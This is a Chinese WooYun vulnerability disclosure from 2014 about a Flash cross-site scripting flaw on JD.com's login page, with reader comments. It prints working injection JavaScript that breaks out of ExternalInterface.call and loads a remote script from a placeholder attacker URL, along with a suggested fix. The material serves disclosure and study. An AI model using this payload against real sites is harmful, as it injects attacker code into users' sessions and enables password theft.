当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-076042

漏洞标题:京东登录页面XSS Rookit可致用户密码被窃取 (乌云峰会视频演示-0x03)

相关厂商:京东商城

漏洞作者: 多多关照

提交时间:2014-09-14 13:53

修复时间:2014-09-19 13:54

公开时间:2014-09-19 13:54

漏洞类型:xss跨站脚本攻击

危害等级:高

自评Rank:15

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-09-14: 细节已通知厂商并且等待厂商处理中
2014-09-19: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

乌云峰会视频演示-0x03

详细说明:

1. 缺陷文件:http://misc.360buyimg.com/purchase/swf/flashcookie.swf
2. 缺陷代码:

if (this.checkSaveReady()){
trackID = ExternalInterface.call("returnCookieByKey", "TrackID");
this.saveFlashCookie("TrackID", trackID);
} else {
saveTimer = new Timer(100, 0);
saveTimer.addEventListener(TimerEvent.TIMER, this.saveTimeHandler);
saveTimer.start();
};


3. 可以看到,要进入saveFlashCookie 这个流程,需要checkSaveReady()返回真,checkSaveReady的返回值来自于 ExternalInterface.call("isSaveReady");同时, saveFlashCookie 的第2个参数来自 ExternalInterface.call("returnCookieByKey", "TrackID");
4. 基于此,可以构造 isSaveReady和returnCookieByKey
另外,在FLASH初始化时,会调用 getFlashCookie函数,该函数最终会调用
ExternalInterface.call(_local1, _local3);
其中_local3来自于 FLASH本地存储数据中的TrackID
构造的代码如下:

function isSaveReady(){
return true;
}
function getFlashCookie(){
}
function returnCookieByKey(){
if(window.ActiveXObject){
return '\\")));var m=document.createElement(\'script\');m.src=\''+evilcodes+'?\'+Math.random();document.body.appendChild(m);}catch(e){}//';
}else{
return '\\"));alert(document.domain)}catch(e){}//';
}
}


漏洞证明:

http://v.youku.com/v_show/id_XNzc3MzM0MTU2.html
密码:wooyunsummit
此外,由于京东的开发人员在使用写代码时,没有注意chrome下 https协议的页面无法正常调用http协议下的FLASH文件,导致这个FLASH XSS漏洞在chrome下无法正常执行,但IE下是可以的,因此视频中使用IE作为演示。

修复方案:

对getFlashCookie中或其他函数中进入ExternalInterface.call 函数的数据,进行必要的过滤,一般要求第一个参数写死,第2个参数,过滤掉 \ ,在不影响业务的前提下,可以尽量避免特殊字符的处理,仅允许纯数字或字母进入。

版权声明:转载请注明来源 多多关照@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2014-09-19 13:54

厂商回复:

漏洞Rank:10 (WooYun评价)

最新状态:

暂无


漏洞评价:

评论

  1. 2014-09-14 13:56 | 泳少 ( 普通白帽子 | Rank:231 漏洞数:79 | ★ 梦想这条路踏上了,跪着也要...)

    连载

  2. 2014-09-14 14:01 | 鬼魅羊羔 ( 普通白帽子 | Rank:299 漏洞数:42 | (#‵′)凸(#‵′)凸(#‵′)凸(#‵′)凸(#‵...)

    晕。该不会是二哥那个吧。

  3. 2014-09-14 14:02 | gainover 认证白帽子 ( 核心白帽子 | Rank:1710 漏洞数:93 | PKAV技术宅社区! -- gainover| 工具猫网络-...)

    @鬼魅羊羔 我马甲,哈哈

  4. 2014-09-14 14:50 | 鬼魅羊羔 ( 普通白帽子 | Rank:299 漏洞数:42 | (#‵′)凸(#‵′)凸(#‵′)凸(#‵′)凸(#‵...)

    @gainover 我去。。。不带这么玩的。。

  5. 2014-09-14 16:13 | 好人 ( 路人 | Rank:13 漏洞数:6 | 多少人曾爱慕你年轻的容颜)

    二哥威武

  6. 2014-09-14 16:17 | 大大灰狼 ( 普通白帽子 | Rank:248 漏洞数:53 | Newbie)

    二哥,么么哒

  7. 2014-09-14 16:42 | 雷锋 ( 路人 | Rank:12 漏洞数:2 | 承接:钻井,架工,木工,电工,水暖工,力...)

    早知道TMD咱们也去参加峰会了....

  8. 2014-09-14 16:59 | scanf ( 核心白帽子 | Rank:1232 漏洞数:186 | 。)

    学生党伤不起啊,

  9. 2014-09-14 22:21 | xssing ( 路人 | Rank:10 漏洞数:7 | xssing)

    这是二哥小号?

  10. 2014-09-15 17:51 | 爱Gail ( 普通白帽子 | Rank:237 漏洞数:38 | 爱漏洞、爱编程、爱旅游、爱Gail)

    如何做到,登陆通用不?

  11. 2014-09-15 18:18 | 鬼魅羊羔 ( 普通白帽子 | Rank:299 漏洞数:42 | (#‵′)凸(#‵′)凸(#‵′)凸(#‵′)凸(#‵...)

    @xssing 嗯,二哥小号~

  12. 2014-09-19 14:58 | px1624 ( 普通白帽子 | Rank:1036 漏洞数:175 | px1624)

    京东真叼

  13. 2014-09-19 15:55 | GrayTrack ( 实习白帽子 | Rank:75 漏洞数:14 | 灰色轨迹)

    忽略了

  14. 2015-05-04 11:40 | cmxz ( 普通白帽子 | Rank:128 漏洞数:13 | )

    @gainover @多多关照 构造的代码有问题。return '\\")));var m=document.createElement(\'script\');m.src=\''+evilcodes+'?\'+Math.random();document.body.appendChild(m);}catch(e){}//';这一句多了一个右括号当然我没有完全理解这句双反斜杠加双引号的原因在http://drops.wooyun.org/papers/1426 有写," 实际上FLASH会对返回数据进行转义操作,将双引号 (") 转义为反斜线+双引号 (\") "FLASH对返回数据的过滤是存在问题的,虽然过滤了双引号 ("),但是FLASH并没有过滤反斜线 (\),我们只需将上面的代码稍加修改,如下:AAAAAA\";alert(1);//AAAAAA 这是在知识库那篇文章说的。但是接下来的两个右括号就又写让人迷惑了。按照个人理解,ExternalInterface.call(_local1, _local3);flash会变为js的<script>eval('try{'+_local1+'("'+_local3+'")}catch(e){};')</script>如果上面的理解没有问题,那么当_local3的值为\");alert(document.domain)}catch(e){}//时才能执行成功【即只需要闭合一个括号】麻烦看一下哪块儿有问题?

  15. 2015-05-04 11:56 | cmxz ( 普通白帽子 | Rank:128 漏洞数:13 | )

    似乎回复里的回车会转为空格http://bbsimg.meizu.net/forum/201505/04/115554ggf3a1bzoebbwbgo.png 图片是排版好的

  16. 2015-05-04 14:40 | cmxz ( 普通白帽子 | Rank:128 漏洞数:13 | )

    @gainover @多多关照 找到原因了,见http://bbsimg.meizu.net/forum/201505/04/143933m56y76zezuhp969h.png

  17. 2015-05-04 17:53 | gainover 认证白帽子 ( 核心白帽子 | Rank:1710 漏洞数:93 | PKAV技术宅社区! -- gainover| 工具猫网络-...)

    @cmxz ie和chrome下有差异。给出的代码是ie下的